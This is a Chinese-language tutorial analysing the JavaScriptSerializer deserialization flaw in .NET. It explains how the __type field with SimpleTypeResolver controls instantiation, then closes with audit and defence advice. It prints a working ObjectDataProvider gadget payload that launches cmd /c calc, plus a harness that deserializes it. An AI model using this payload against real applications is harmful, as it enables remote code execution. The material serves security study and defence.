.net反序列化之JavaScriptSerializer
字数 1495 2025-08-05 08:17:46

.NET反序列化漏洞分析:JavaScriptSerializer

1. JavaScriptSerializer概述

JavaScriptSerializer是.NET框架中用于在对象和JSON字符串之间进行转换的API,位于System.Web.Script.Serialization命名空间下。

主要功能

  • 对象序列化为JSON字符串
  • JSON字符串反序列化为对象
  • 支持自定义类型解析

2. 基本使用示例

2.1 简单序列化/反序列化

using System;
using System.Web.Script.Serialization;

namespace JavaScriptDeserialize
{
    class Person
    {
        public string Name { get; set; }
    }
    
    class Program
    {
        static void Main(string[] args)
        {
            // 不使用SimpleTypeResolver
            Person person = new Person() { Name = "jack" };
            JavaScriptSerializer serializer = new JavaScriptSerializer();
            string json = serializer.Serialize(person);
            Console.WriteLine(json);  // 输出: {"Name":"jack"}
            
            Person p = serializer.Deserialize<Person>(json);
            Console.WriteLine(p.Name);  // 输出: jack
        }
    }
}

2.2 使用SimpleTypeResolver的序列化

// 使用SimpleTypeResolver
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
string jsonWithType = serializerWithType.Serialize(person);
Console.WriteLine(jsonWithType); 
// 输出: {"__type":"JavaScriptDeserialize.Person, JavaScriptDeserialize, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"jack"}

Person p1 = serializerWithType.Deserialize<Person>(jsonWithType);
Console.WriteLine(p1.Name);  // 输出: jack

3. 反序列化漏洞原理

3.1 关键点分析

  1. 类型解析器(JavaScriptTypeResolver)

    • 构造函数public JavaScriptSerializer(JavaScriptTypeResolver resolver)接受类型解析器参数
    • 当使用SimpleTypeResolver时,序列化的JSON会包含类型信息(__type字段)
  2. 反序列化过程

    • 所有反序列化方法最终调用internal static object Deserialize(JavaScriptSerializer serializer, string input, Type type, int depthLimit)
    • 当节点标签是Object类型时:
      • 先通过DeserializeDictionary获取键值对字典
      • 如果包含__type字段,则进入ConvertObjectToType转换类型
      • 最终通过ConvertDictionaryToObject处理
  3. 漏洞触发点

    • ConvertDictionaryToObject中:
      if (serializer.TypeResolver != null) {
          // 获取__type字段值
          object obj2 = dictionary["__type"];
          string text = obj2 as string;
          // 通过TypeResolver解析类型
          Type type2 = serializer.TypeResolver.ResolveType(text);
          // 创建实例
          object obj3 = Activator.CreateInstance(type2);
      }
      
    • TypeResolver.ResolveType直接使用Type.GetType获取类型,意味着__type字段可以控制对象类型

4. 攻击链构造

4.1 利用ObjectDataProvider攻击链

使用ObjectDataProvider创建Process实例执行命令:

{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd", 
            "Arguments":"/c calc"
        }
    }
}

4.2 漏洞利用代码示例

using System;
using System.IO;
using System.Web.Script.Serialization;

namespace JavaScriptDeserialize
{
    class Program
    {
        static void Main(string[] args)
        {
            JavaScriptSerializer serializerWithType = 
                new JavaScriptSerializer(new SimpleTypeResolver());
            
            // 从文件读取恶意JSON并反序列化
            serializerWithType.Deserialize<Object>(File.ReadAllText("malicious.json"));
        }
    }
}

5. 安全审计要点

  1. 输入控制

    • 检查传入的JSON字符串是否可控
    • 验证外部输入的JSON数据
  2. 类型解析器使用

    • 检查是否使用了JavaScriptTypeResolver
    • 如果使用自定义类型解析器,检查对type的校验是否严格
  3. 反序列化方法

    • 注意所有三个反序列化重载方法都可能存在风险
    • 即使是Deserialize<Object>也会触发漏洞

6. 防御措施

  1. 避免使用SimpleTypeResolver

    • 除非必要,不要使用new JavaScriptSerializer(new SimpleTypeResolver())
  2. 使用安全替代方案

    • 考虑使用Newtonsoft.Json等更安全的JSON库
    • 配置严格的类型解析策略
  3. 输入验证

    • 对反序列化的JSON数据进行严格验证
    • 过滤或拒绝包含__type字段的JSON
  4. 最小权限原则

    • 在可能执行反序列化的环境中降低权限

7. 总结

JavaScriptSerializer的反序列化漏洞主要源于:

  1. 允许通过__type字段指定任意类型
  2. 使用SimpleTypeResolver时缺乏严格的类型检查
  3. 通过Activator.CreateInstance直接创建指定类型的实例

开发人员应特别注意使用JavaScriptSerializer时的安全配置,避免将不受信任的JSON数据反序列化为对象。

.NET反序列化漏洞分析:JavaScriptSerializer 1. JavaScriptSerializer概述 JavaScriptSerializer是.NET框架中用于在对象和JSON字符串之间进行转换的API,位于 System.Web.Script.Serialization 命名空间下。 主要功能 对象序列化为JSON字符串 JSON字符串反序列化为对象 支持自定义类型解析 2. 基本使用示例 2.1 简单序列化/反序列化 2.2 使用SimpleTypeResolver的序列化 3. 反序列化漏洞原理 3.1 关键点分析 类型解析器(JavaScriptTypeResolver) : 构造函数 public JavaScriptSerializer(JavaScriptTypeResolver resolver) 接受类型解析器参数 当使用 SimpleTypeResolver 时,序列化的JSON会包含类型信息( __type 字段) 反序列化过程 : 所有反序列化方法最终调用 internal static object Deserialize(JavaScriptSerializer serializer, string input, Type type, int depthLimit) 当节点标签是Object类型时: 先通过 DeserializeDictionary 获取键值对字典 如果包含 __type 字段,则进入 ConvertObjectToType 转换类型 最终通过 ConvertDictionaryToObject 处理 漏洞触发点 : 在 ConvertDictionaryToObject 中: TypeResolver.ResolveType 直接使用 Type.GetType 获取类型,意味着 __type 字段可以控制对象类型 4. 攻击链构造 4.1 利用ObjectDataProvider攻击链 使用 ObjectDataProvider 创建 Process 实例执行命令: 4.2 漏洞利用代码示例 5. 安全审计要点 输入控制 : 检查传入的JSON字符串是否可控 验证外部输入的JSON数据 类型解析器使用 : 检查是否使用了 JavaScriptTypeResolver 如果使用自定义类型解析器,检查对type的校验是否严格 反序列化方法 : 注意所有三个反序列化重载方法都可能存在风险 即使是 Deserialize<Object> 也会触发漏洞 6. 防御措施 避免使用SimpleTypeResolver : 除非必要,不要使用 new JavaScriptSerializer(new SimpleTypeResolver()) 使用安全替代方案 : 考虑使用 Newtonsoft.Json 等更安全的JSON库 配置严格的类型解析策略 输入验证 : 对反序列化的JSON数据进行严格验证 过滤或拒绝包含 __type 字段的JSON 最小权限原则 : 在可能执行反序列化的环境中降低权限 7. 总结 JavaScriptSerializer的反序列化漏洞主要源于: 允许通过 __type 字段指定任意类型 使用 SimpleTypeResolver 时缺乏严格的类型检查 通过 Activator.CreateInstance 直接创建指定类型的实例 开发人员应特别注意使用 JavaScriptSerializer 时的安全配置,避免将不受信任的JSON数据反序列化为对象。